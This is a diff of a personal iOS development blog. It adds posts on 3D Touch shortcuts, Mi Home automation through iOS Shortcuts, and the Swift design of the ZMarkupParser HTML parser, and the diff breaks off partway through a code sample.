+10
+11
+12
+13
+14
+15
+16
+17
+
func application(_ application: UIApplication, performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Void) {
+    var info = shortcutItem.userInfo
+  
+    switch shortcutItem.type {
+    case "searchShop":
+      //
+    case "topicList":
+      //
+    case "likeWorksPic":
+      //
+    case "marrybarList":
+      //
+    default:
+        break
+    }
+    completionHandler(true)
+}
+

Done!

Conclusion

Adding 3D Touch functionality to the APP is not difficult and users will find it very considerate ❤; it can be combined with design operations to enhance user experience. However, currently, only the two functions mentioned above can be implemented, and since iPhone 6s and below/iPad/iPhone XR do not support 3D Touch, the actual functionalities that can be done are even fewer, mainly serving as an aid to enhance the experience.

p.s.

If you test carefully enough, you will notice the above effect. When part of the image in the CollectionView has already slid out of the screen, pressing it will result in the above situation 😅

If you test carefully enough, you will notice the above effect. When part of the image in the CollectionView has already slid out of the screen, pressing it will result in the above situation 😅

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Exploring iOS 12 CoreML — Automatically Predict Article Categories Using Machine Learning, Even Train the Model Yourself!

All About iOS UUID (Swift/iOS ≥ 6)

diff --git a/posts/21119db777dd/index.html b/posts/21119db777dd/index.html new file mode 100644 index 0000000000..e129460edb --- /dev/null +++ b/posts/21119db777dd/index.html @@ -0,0 +1 @@ + Using 'Shortcuts' Automation with Mi Home Smart Home on iOS ≥ 13.1 | ZhgChgLi
Home Using 'Shortcuts' Automation with Mi Home Smart Home on iOS ≥ 13.1
Post
Cancel

Using 'Shortcuts' Automation with Mi Home Smart Home on iOS ≥ 13.1

Using ‘Shortcuts’ Automation with Mi Home Smart Home on iOS ≥ 13.1

Automate operations directly using the built-in Shortcuts app on iOS ≥ 13.1

Introduction

In early July this year, I bought two smart devices: the Mi Home Desk Lamp Pro and the Mi Home LED Smart Desk Lamp. The difference is that one supports HomeKit, and the other only supports Mi Home. At that time, I wrote an article titled “First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home” which mentioned how to achieve smart functions for leaving and arriving home without HomePod/AppleTV/iPad. The steps were a bit complicated.

This time, with iOS ≥ 13.1 (note that it is only available after 13.1), the built-in “Shortcuts” app (if you can’t find it, please download it from the Store) supports automation. If IFTTT and Mi Home smart devices are used, there’s no need to use third-party apps anymore!

p.s. If you have HomePod, Apple TV, or iPad, you don’t need to read this article; you can directly set the device as the home hub!

Achieved Effect

You will receive a shortcut execution notification when entering or leaving the set area, and it will automatically execute upon clicking.

How to Use

1. First, open the Mi Home app

Switch to "My" -> "Smart"

Switch to “My” -> “Smart”

Here, it is assumed that you have already added the device to Mi Home.

Select "Manual Execution"

Select “Manual Execution”

Here, let me mention why not directly use Mi Home’s “Leave or Arrive at a Place”. First, GPS used in mainland China has deviations which Xiaomi has not corrected. Second, it can only set locations with landmarks on the map, and there are few Taiwan landmarks on the mainland Gaode map.

Scroll down to the "Smart Devices" section, add the devices and actions to be operated

Scroll down to the “Smart Devices” section, add the devices and actions to be operated

Click "Continue to Add" to add all the devices to be operated

Click “Continue to Add” to add all the devices to be operated

For example, in the “Leave Home” mode, I want to turn off the fan and lights and turn on the camera when leaving home.

Click the top right "Save" and enter the name of this smart operation

Click the top right “Save” and enter the name of this smart operation

Return to the list, click "Add to Siri"

Return to the list, click “Add to Siri”

Click "Add to Siri" next to the smart operation you want to add

Click “Add to Siri” next to the smart operation you want to add

Enter the command for "Call Siri" -> "Add to Siri"

Input “Command when calling Siri” -> “Add to Siri”

Note! The command must not conflict with built-in iOS commands!

2. Open the “Siri Shortcuts” APP

Switch to the "Automation" tab and click the "+" in the upper right corner

Switch to the “Automation” tab and click the “+” in the upper right corner

If there is no “Automation” tab, please check if your iOS version is higher than 13.1.

Select "Create Personal Automation"

Select “Create Personal Automation”

Choose the type "Arrive" or "Leave"

Choose the type “Arrive” or “Leave”

Set "Location"

Set “Location”

Search for a location or use the current location, click "Done"

Search for a location or use the current location, click “Done”

You can set the time range for automatic execution at the bottom, click "Next" in the upper right corner

You can set the time range for automatic execution at the bottom, click “Next” in the upper right corner

Since leaving home and arriving home are events that need to be detected all day long, we won’t set a time range for execution here!

Click "Add Action"

Click “Add Action”

Select "Scripting"

Select “Scripting”

Scroll to the "Shortcuts" section, select "Run Shortcut"

Scroll to the “Shortcuts” section, select “Run Shortcut”

Click the "Shortcut" section

Click the “Shortcut” section

Find the "Command when calling Siri" set in Mi Home "Add to Siri", and select it

Find the “Command when calling Siri” set in Mi Home “Add to Siri”, and select it

Click "Done" in the upper right corner

Click “Done” in the upper right corner

The newly added automation will appear on the home page!

The newly added automation will appear on the home page!

Done!

Actual Execution Result

When leaving or entering the set address range, the phone or Apple Watch will receive a notification to execute the shortcut, and you can click to execute!

1. There is a 100-meter error in the GPS sensing range

2. The so-called “automation” is just an automatic notification for you to press execute, it does not really execute actions in the background

To solve the above two pain points, you can only do what was mentioned at the beginning of the article, buy a HomePod or find an Apple TV/iPad as the home hub.

On iPhone:

Execution notification

Execution notification

Click to "Execute"

Click to “Execute”

Please note that it will require unlocking the phone first.

Execution failure will also provide feedback!

Execution failure will also provide feedback!

Sometimes Mi Home device network issues will cause execution failure.

On Apple Watch:

Click to execute

Click to execute

Unlike the native IFTTT app, the strength lies in its ability to execute notifications on the watch. (IFTTT is purely a notification, you still need to take out your phone to execute)

Besides that

Using Siri to Execute

Using Siri to Execute

Since the Mi Home smart operation scenario has been added to Siri, you can also call Siri to perform actions!

One step closer to a smart life!

Further Reading

  1. First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home (Mi Home Smart Camera and Mi Home Smart Desk Lamp, HomeKit Setup Tutorial)
  2. New Additions to Xiaomi Smart Home (AI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan)
  3. Mi Home APP / Xiao Ai Speaker Region Issues
  4. [Advanced] Demonstration of Using Raspberry Pi as HomeBridge Host to Connect All Mi Home Appliances to HomeKit

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

New Xiaomi Smart Home Purchases

iOS Deferred Deep Link Implementation (Swift)

diff --git a/posts/2724f02f6e7/index.html b/posts/2724f02f6e7/index.html new file mode 100644 index 0000000000..f935dec165 --- /dev/null +++ b/posts/2724f02f6e7/index.html @@ -0,0 +1,2373 @@ + The Craft of Building a Handmade HTML Parser | ZhgChgLi
Home The Craft of Building a Handmade HTML Parser
Post
Cancel

The Craft of Building a Handmade HTML Parser

The Craft of Building a Handmade HTML Parser

The development log of ZMarkupParser HTML to NSAttributedString rendering engine

Tokenization conversion of HTML String, Normalization processing, generation of Abstract Syntax Tree, application of Visitor Pattern / Builder Pattern, and some miscellaneous discussions…

Continuation

Last year, I published an article titled “[ TL;DR ] Implementing iOS NSAttributedString HTML Render”, which briefly introduced how to use XMLParser to parse HTML and then convert it into NSAttributedString.Key. The structure and thought process in the article were quite disorganized, as it was a quick record of the issues encountered previously and I did not spend much time researching the topic.

Convert HTML String to NSAttributedString

Revisiting this topic, we need to be able to convert the HTML string provided by the API into NSAttributedString and apply the corresponding styles to display it in UITextView/UILabel.

e.g. <b>Test<a>Link</a></b> should be displayed as Test Link

  • Note 1 It is not recommended to use HTML as a communication and rendering medium between the App and data, as the HTML specification is too flexible. The App cannot support all HTML styles, and there is no official HTML conversion rendering engine.
  • Note 2 Starting from iOS 14, you can use the native AttributedString to parse Markdown or introduce the apple/swift-markdown Swift Package to parse Markdown.
  • Note 3 Due to the large scale of our company’s project and the long-term use of HTML as a medium, it is temporarily impossible to fully switch to Markdown or other Markup.
  • Note 4 The HTML here is not intended to display the entire HTML webpage, but to use HTML as a style Markdown rendering string style. (To render a full page, complex HTML including images and tables, you still need to use WebView loadHTML)

It is strongly recommended to use Markdown as the string rendering medium language. If your project has the same dilemma as mine and you have no elegant tool to convert HTML to NSAttributedString, please use it.

Friends who remember the previous article can directly jump to the ZhgChgLi / ZMarkupParser section.

NSAttributedString.DocumentType.html

The methods for HTML to NSAttributedString found online all suggest directly using NSAttributedString’s built-in options to render HTML, as shown in the example below:

1
+2
+3
+4
+5
+6
+7
+
let htmlString = "<b>Test<a>Link</a></b>"
+let data = htmlString.data(using: String.Encoding.utf8)!
+let attributedOptions:[NSAttributedString.DocumentReadingOptionKey: Any] = [
+  .documentType :NSAttributedString.DocumentType.html,
+  .characterEncoding: String.Encoding.utf8.rawValue
+]
+let attributedString = try! NSAttributedString(data: data, options: attributedOptions, documentAttributes: nil)
+

The problem with this approach:

  • Poor performance: This method uses WebView Core to render the style, then switches back to the Main Thread for UI display; rendering more than 300 characters takes 0.03 seconds.
  • Text loss: For example, marketing copy might use <Congratulation!> which will be treated as an HTML tag and removed.
  • Lack of customization: For example, you cannot specify the boldness level of HTML bold tags in NSAttributedString.
  • Intermittent crashes starting from iOS ≥ 12 with no official solution
  • Frequent crashes in iOS 15, testing found that it crashes 100% under low battery conditions (fixed in iOS ≥ 15.2)
  • Long strings cause crashes, testing shows that inputting strings longer than 54,600+ characters will crash 100% (EXC_BAD_ACCESS)

The most painful issue for us is the crash problem. From the release of iOS 15 to the fix in 15.2, our app was plagued by this issue. From the data, between 2022/03/11 and 2022/06/08, it caused over 2.4K crashes, affecting over 1.4K users.

This crash issue has existed since iOS 12, and iOS 15 just made it worse. I guess the fix in iOS 15.2 is just a patch, and the official solution cannot completely eradicate it.

The second issue is performance. As a string style Markup Language, it is heavily used in the app’s UILabel/UITextView. As mentioned earlier, one label takes 0.03 seconds, and multiplying this by the number of UILabel/UITextView in a list will cause noticeable lag in user interactions.

XMLParser

The second solution is introduced in the previous article, which uses XMLParser to parse into corresponding NSAttributedString keys and apply styles.

Refer to the implementation of SwiftRichString and the content of the previous article.

The previous article only explored using XMLParser to parse HTML and perform corresponding conversions, completing an experimental implementation, but it did not design it as a well-structured and extensible “tool.”

The problem with this approach:

  • Zero tolerance for errors: <br> / <Congratulation!> / <b>Bold<i>Bold+Italic</b>Italic</i> These three possible HTML scenarios will cause XMLParser to throw an error and display blank.
  • Using XMLParser, the HTML string must fully comply with XML rules, unlike browsers or NSAttributedString.DocumentType.html which can tolerate and display correctly.

Standing on the shoulders of giants

Neither of the above two solutions can perfectly and elegantly solve the HTML problem, so I started searching for existing solutions.

After searching extensively, I found that the results are similar to the projects mentioned above. There are no giants’ shoulders to stand on.

ZhgChgLi/ZMarkupParser

Without the shoulders of giants, I had to become a giant myself, so I developed an HTML String to NSAttributedString tool.

Developed purely in Swift, it parses HTML Tags using Regex and performs Tokenization, analyzing and correcting Tag accuracy (fixing tags without an end & misplaced tags), then converts it into an abstract syntax tree. Finally, using the Visitor Pattern, it maps HTML Tags to abstract styles to get the final NSAttributedString result; it does not rely on any Parser Lib.

Features

  • Supports HTML Render (to NSAttributedString) / Stripper (removing HTML Tags) / Selector functions
  • Higher performance than NSAttributedString.DocumentType.html
  • Automatically analyzes and corrects Tag accuracy (fixing tags without an end & misplaced tags)
  • Supports dynamic style settings from style="color:red..."
  • Supports custom style specifications, such as how bold bold should be
  • Supports flexible extensibility for tags or custom tags and attributes

For detailed introduction, installation, and usage, refer to this article: ZMarkupParser HTML String to NSAttributedString Tool

You can directly git clone the project, then open the ZMarkupParser.xcworkspace Project, select the ZMarkupParser-Demo Target, and directly Build & Run to try it out.

[ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZMarkupParser

Technical Details

Now, let’s dive into the technical details of developing this tool.

Overview of the operation process

Overview of the operation process

The above image shows the general operation process, and the following article will introduce it step by step with code examples.

⚠️ This article will simplify Demo Code as much as possible, reduce abstraction and performance considerations, and focus on explaining the operation principles; for the final result, please refer to the project Source Code.

Code Implementation — Tokenization

a.k.a parser, parsing

When it comes to HTML rendering, the most important part is parsing. In the past, HTML was parsed as XML using XMLParser; however, it couldn’t handle the fact that HTML usage is not 100% XML, causing parser errors and inability to dynamically correct them.

After ruling out the use of XMLParser, the only option left in Swift was to use Regex for matching and parsing.

Initially, the idea was to use Regex to extract “paired” HTML Tags and recursively find HTML Tags layer by layer until the end; however, this couldn’t solve the problem of nested HTML Tags or support for misplaced tags. Therefore, we changed the strategy to extract “single” HTML Tags, recording whether they are Start Tags, Close Tags, or Self-Closing Tags, and combining other strings into a parsed result array.

Tokenization structure is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+
enum HTMLParsedResult {
+    case start(StartItem) // <a>
+    case close(CloseItem) // </a>
+    case selfClosing(SelfClosingItem) // <br/>
+    case rawString(NSAttributedString)
+}
+
+extension HTMLParsedResult {
+    class SelfClosingItem {
+        let tagName: String
+        let tagAttributedString: NSAttributedString
+        let attributes: [String: String]?
+        
+        init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) {
+            self.tagName = tagName
+            self.tagAttributedString = tagAttributedString
+            self.attributes = attributes
+        }
+    }
+    
+    class StartItem {
+        let tagName: String
+        let tagAttributedString: NSAttributedString
+        let attributes: [String: String]?
+
+        // Start Tag may be an abnormal HTML Tag or normal text e.g. <Congratulation!>, if found to be an isolated Start Tag after subsequent Normalization, it will be marked as True.
+        var isIsolated: Bool = false
+        
+        init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) {
+            self.tagName = tagName
+            self.tagAttributedString = tagAttributedString
+            self.attributes = attributes
+        }
+        
+        // Used for automatic padding correction in subsequent Normalization
+        func convertToCloseParsedItem() -> CloseItem {
+            return CloseItem(tagName: self.tagName)
+        }
+        
+        // Used for automatic padding correction in subsequent Normalization
+        func convertToSelfClosingParsedItem() -> SelfClosingItem {
+            return SelfClosingItem(tagName: self.tagName, tagAttributedString: self.tagAttributedString, attributes: self.attributes)
+        }
+    }
+    
+    class CloseItem {
+        let tagName: String
+        init(tagName: String) {
+            self.tagName = tagName
+        }
+    }
+}
+

The regex used is as follows:

1
+
<(?:(?<closeTag>\/)?(?<tagName>[A-Za-z0-9]+)(?<tagAttributes>(?:\s*(\w+)\s*=\s*(["|']).*?\5)*)\s*(?<selfClosingTag>\/)?>)
+

-> Online Regex101 Playground

  • closeTag: Matches < / a>
  • tagName: Matches < a > or , </ a >
  • tagAttributes: Matches <a href=”https://zhgchg.li” style=”color:red” >
  • selfClosingTag: Matches <br / >

*This regex can still be optimized, will do it later.

Additional information about regex is provided in the latter part of the article, interested friends can refer to it.

Combining it all together:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+
var tokenizationResult: [HTMLParsedResult] = []
+
+let expression = try? NSRegularExpression(pattern: pattern, options: expressionOptions)
+let attributedString = NSAttributedString(string: "<a>Li<b>nk</a>Bold</b>")
+let totalLength = attributedString.string.utf16.count // utf-16 support emoji
+var lastMatch: NSTextCheckingResult?
+
+// Start Tags Stack, First In Last Out (FILO)
+// Check if the HTML string needs subsequent normalization to correct misalignment or add self-closing tags
+var stackStartItems: [HTMLParsedResult.StartItem] = []
+var needForamatter: Bool = false
+
+expression.enumerateMatches(in: attributedString.string, range: NSMakeRange(0, totoalLength)) { match, _, _ in
+  if let match = match {
+    // Check the string between tags or before the first tag
+    // e.g. Test<a>Link</a>zzz<b>bold</b>Test2 - > Test,zzz
+    let lastMatchEnd = lastMatch?.range.upperBound ?? 0
+    let currentMatchStart = match.range.lowerBound
+    if currentMatchStart > lastMatchEnd {
+      let rawStringBetweenTag = attributedString.attributedSubstring(from: NSMakeRange(lastMatchEnd, (currentMatchStart - lastMatchEnd)))
+      tokenizationResult.append(.rawString(rawStringBetweenTag))
+    }
+
+    // <a href="https://zhgchg.li">, </a>
+    let matchAttributedString = attributedString.attributedSubstring(from: match.range)
+    // a, a
+    let matchTag = attributedString.attributedSubstring(from: match.range(withName: "tagName"))?.string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
+    // false, true
+    let matchIsEndTag = matchResult.attributedString(from: match.range(withName: "closeTag"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == "/"
+    // href="https://zhgchg.li", nil
+    // Use regex to further extract HTML attributes, to [String: String], refer to the source code
+    let matchTagAttributes = parseAttributes(matchResult.attributedString(from: match.range(withName: "tagAttributes")))
+    // false, false
+    let matchIsSelfClosingTag = matchResult.attributedString(from: match.range(withName: "selfClosingTag"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == "/"
+
+    if let matchAttributedString = matchAttributedString,
+       let matchTag = matchTag {
+        if matchIsSelfClosingTag {
+          // e.g. <br/>
+          tokenizationResult.append(.selfClosing(.init(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes)))
+        } else {
+          // e.g. <a> or </a>
+          if matchIsEndTag {
+            // e.g. </a>
+            // Retrieve the position of the same tag name from the stack, starting from the last
+            if let index = stackStartItems.lastIndex(where: { $0.tagName == matchTag }) {
+              // If it's not the last one, it means there is a misalignment or a missing closing tag
+              if index != stackStartItems.count - 1 {
+                  needForamatter = true
+              }
+              tokenizationResult.append(.close(.init(tagName: matchTag)))
+              stackStartItems.remove(at: index)
+            } else {
+              // Extra close tag e.g </a>
+              // Does not affect subsequent processing, just ignore
+            }
+          } else {
+            // e.g. <a>
+            let startItem: HTMLParsedResult.StartItem = HTMLParsedResult.StartItem(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes)
+            tokenizationResult.append(.start(startItem))
+            // Add to stack
+            stackStartItems.append(startItem)
+          }
+        }
+     }
+
+    lastMatch = match
+  }
+}
+
+// Check the ending raw string
+// e.g. Test<a>Link</a>Test2 - > Test2
+if let lastMatch = lastMatch {
+  let currentIndex = lastMatch.range.upperBound
+  if totoalLength > currentIndex {
+    // There are remaining strings
+    let resetString = attributedString.attributedSubstring(from: NSMakeRange(currentIndex, (totoalLength - currentIndex)))
+    tokenizationResult.append(.rawString(resetString))
+  }
+} else {
+  // lastMatch = nil, meaning no tags were found, all are plain text
+  let resetString = attributedString.attributedSubstring(from: NSMakeRange(0, totoalLength))
+  tokenizationResult.append(.rawString(resetString))
+}
+
+// Check if the stack is empty, if not, it means there are start tags without corresponding end tags
+// Mark as isolated start tags
+for stackStartItem in stackStartItems {
+  stackStartItem.isIsolated = true
+  needForamatter = true
+}
+
+print(tokenizationResult)
+// [
+//    .start("a",["href":"https://zhgchg.li"])
+//    .rawString("Li")
+//    .start("b",nil)
+//    .rawString("nk")
+//    .close("a")
+//    .rawString("Bold")
+//    .close("b")
+// ]
+

Operation flow as shown in the figure

Operation flow as shown in the figure

The final result will be an array of Tokenization results.

Corresponding source code in HTMLStringToParsedResultProcessor.swift implementation

Normalization

a.k.a Formatter, normalization

After obtaining the preliminary parsing results in the previous step, if it is found during parsing that further normalization is needed, this step is required to automatically correct HTML Tag issues.

There are three types of HTML Tag issues:

  • HTML Tag but missing Close Tag: e.g., <br>
  • General text mistaken as HTML Tag: e.g., <Congratulation!>
  • HTML Tag misalignment issues: e.g., <a>Li<b>nk</a>Bold</b>

The correction method is also very simple. We need to traverse the elements of the Tokenization results and try to fill in the gaps.

Operation flow as shown in the figure

Operation flow as shown in the figure

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+
var normalizationResult = tokenizationResult
+
+// Start Tags Stack, First In Last Out (FILO)
+var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []
+var itemIndex = 0
+while itemIndex < newItems.count {
+    switch newItems[itemIndex] {
+    case .start(let item):
+        if item.isIsolated {
+            // If it is an isolated Start Tag
+            if WC3HTMLTagName(rawValue: item.tagName) == nil && (item.attributes?.isEmpty ?? true) {
+                // If it is not a WCS defined HTML Tag & has no HTML Attribute
+                // WC3HTMLTagName Enum can refer to Source Code
+                // Determine as general text mistaken as HTML Tag
+                // Change to raw string type
+                normalizationResult[itemIndex] = .rawString(item.tagAttributedString)
+            } else {
+                // Otherwise, change to self-closing tag, e.g., <br> -> <br/>
+                normalizationResult[itemIndex] = .selfClosing(item.convertToSelfClosingParsedItem())
+            }
+            itemIndex += 1
+        } else {
+            // Normal Start Tag, add to Stack
+            stackExpectedStartItems.append(item)
+            itemIndex += 1
+        }
+    case .close(let item):
+        // Encounter Close Tag
+        // Get the Tags between the Start Stack Tag and this Close Tag
+        // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> interval 0
+        // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> interval b,u
+
+        let reversedStackExpectedStartItems = Array(stackExpectedStartItems.reversed())
+        guard let reversedStackExpectedStartItemsOccurredIndex = reversedStackExpectedStartItems.firstIndex(where: { $0.tagName == item.tagName }) else {
+            itemIndex += 1
+            continue
+        }
+        
+        let reversedStackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItems.prefix(upTo: reversedStackExpectedStartItemsOccurredIndex))
+        
+        // Interval 0, means no tag misalignment
+        guard reversedStackExpectedStartItemsOccurred.count != 0 else {
+            // is pair, pop
+            stackExpectedStartItems.removeLast()
+            itemIndex += 1
+            continue
+        }
+        
+        // There are other intervals, automatically fill in the interval Tags
+        // e.g., <a><u><b>[CurrentIndex]</a></u></b> ->
+        // e.g., <a><u><b>[CurrentIndex]</b></u></a><b></u></u></b>
+        let stackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItemsOccurred.reversed())
+        let afterItems = stackExpectedStartItemsOccurred.map({ HTMLParsedResult.start($0) })
+        let beforeItems = reversedStackExpectedStartItemsOccurred.map({ HTMLParsedResult.close($0.convertToCloseParsedItem()) })
+        normalizationResult.insert(contentsOf: afterItems, at: newItems.index(after: itemIndex))
+        normalizationResult.insert(contentsOf: beforeItems, at: itemIndex)
+        
+        itemIndex = newItems.index(after: itemIndex) + stackExpectedStartItemsOccurred.count
+        
+        // Update Start Stack Tags
+        // e.g., -> b,u
+        stackExpectedStartItems.removeAll { startItem in
+            return reversedStackExpectedStartItems.prefix(through: reversedStackExpectedStartItemsOccurredIndex).contains(where: { $0 === startItem })
+        }
+    case .selfClosing, .rawString:
+        itemIndex += 1
+    }
+}
+
+print(normalizationResult)
+// [
+//    .start("a",["href":"https://zhgchg.li"])
+//    .rawString("Li")
+//    .start("b",nil)
+//    .rawString("nk")
+//    .close("b")
+//    .close("a")
+//    .start("b",nil)
+//    .rawString("Bold")
+//    .close("b")
+// ]
+

Corresponding implementation in the source code HTMLParsedResultFormatterProcessor.swift

Abstract Syntax Tree

a.k.a AST, Abstract Tree

After the Tokenization & Normalization data preprocessing is completed, the result needs to be converted into an abstract tree 🌲.

As shown in the figure

As shown in the figure

Converting into an abstract tree facilitates our future operations and extensions, such as implementing Selector functionality or other conversions like HTML to Markdown; or if we want to add Markdown to NSAttributedString in the future, we only need to implement Markdown’s Tokenization & Normalization to complete it.

First, we define a Markup Protocol with Child & Parent properties to record the information of leaves and branches:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
protocol Markup: AnyObject {
+    var parentMarkup: Markup? { get set }
+    var childMarkups: [Markup] { get set }
+    
+    func appendChild(markup: Markup)
+    func prependChild(markup: Markup)
+    func accept<V: MarkupVisitor>(_ visitor: V) -> V.Result
+}
+
+extension Markup {
+    func appendChild(markup: Markup) {
+        markup.parentMarkup = self
+        childMarkups.append(markup)
+    }
+    
+    func prependChild(markup: Markup) {
+        markup.parentMarkup = self
+        childMarkups.insert(markup, at: 0)
+    }
+}
+

Additionally, using the Visitor Pattern, each style attribute is defined as an object Element, and different Visit strategies are used to obtain individual application results.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
protocol MarkupVisitor {
+    associatedtype Result
+        
+    func visit(markup: Markup) -> Result
+    
+    func visit(_ markup: RootMarkup) -> Result
+    func visit(_ markup: RawStringMarkup) -> Result
+    
+    func visit(_ markup: BoldMarkup) -> Result
+    func visit(_ markup: LinkMarkup) -> Result
+    //...
+}
+
+extension MarkupVisitor {
+    func visit(markup: Markup) -> Result {
+        return markup.accept(self)
+    }
+}
+

Basic Markup nodes:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
// Root node
+final class RootMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+
+// Leaf node
+final class RawStringMarkup: Markup {
+    let attributedString: NSAttributedString
+    
+    init(attributedString: NSAttributedString) {
+        self.attributedString = attributedString
+    }
+    
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+

Define Markup Style Nodes:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
// Branch nodes:
+
+// Link style
+final class LinkMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+
+// Bold style
+final class BoldMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+    
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+

Corresponding implementation in the source code Markup

Before converting to an abstract tree, we also need…

MarkupComponent

Because our tree structure does not depend on any data structure (for example, a node/LinkMarkup should have URL information to perform subsequent rendering). For this, we define a container to store tree nodes and related data information:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
protocol MarkupComponent {
+    associatedtype T
+    var markup: Markup { get }
+    var value: T { get }
+    
+    init(markup: Markup, value: T)
+}
+
+extension Sequence where Iterator.Element: MarkupComponent {
+    func value(markup: Markup) -> Element.T? {
+        return self.first(where:{ $0.markup === markup })?.value as? Element.T
+    }
+}
+

Corresponding implementation in the source code MarkupComponent

You can also declare Markup as Hashable and directly use Dictionary to store values [Markup: Any], but in this way, Markup cannot be used as a general type and needs to be prefixed with any Markup.

HTMLTag & HTMLTagName & HTMLTagNameVisitor

We also abstracted the HTML Tag Name part, allowing users to decide which tags need to be processed and facilitating future extensions. For example, the <strong> Tag Name can correspond to BoldMarkup.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
public protocol HTMLTagName {
+    var string: String { get }
+    func accept<V: HTMLTagNameVisitor>(_ visitor: V) -> V.Result
+}
+
+public struct A_HTMLTagName: HTMLTagName {
+    public let string: String = WC3HTMLTagName.a.rawValue
+    
+    public init() {
+        
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor {
+        return visitor.visit(self)
+    }
+}
+
+public struct B_HTMLTagName: HTMLTagName {
+    public let string: String = WC3HTMLTagName.b.rawValue
+    
+    public init() {
+        
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor {
+        return visitor.visit(self)
+    }
+}
+

Corresponding implementation in the source code HTMLTagNameVisitor

Additionally, refer to the W3C wiki which lists the HTML tag name enum: WC3HTMLTagName.swift

HTMLTag is simply a container object because we want to allow external specification of the style corresponding to the HTML Tag, so we declare a container to put them together:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
struct HTMLTag {
+    let tagName: HTMLTagName
+    let customStyle: MarkupStyle? // Render will be explained later
+    
+    init(tagName: HTMLTagName, customStyle: MarkupStyle? = nil) {
+        self.tagName = tagName
+        self.customStyle = customStyle
+    }
+}
+

Corresponding implementation in the source code HTMLTag

HTMLTagNameToHTMLMarkupVisitor

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
struct HTMLTagNameToMarkupVisitor: HTMLTagNameVisitor {
+    typealias Result = Markup
+    
+    let attributes: [String: String]?
+    
+    func visit(_ tagName: A_HTMLTagName) -> Result {
+        return LinkMarkup()
+    }
+    
+    func visit(_ tagName: B_HTMLTagName) -> Result {
+        return BoldMarkup()
+    }
+    //...
+}
+

Corresponding implementation in the source code HTMLTagNameToHTMLMarkupVisitor

Convert to Abstract Tree with HTML Data

We need to convert the result of the normalized HTML data into an abstract tree. First, declare a MarkupComponent data structure that can store HTML data:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
struct HTMLElementMarkupComponent: MarkupComponent {
+    struct HTMLElement {
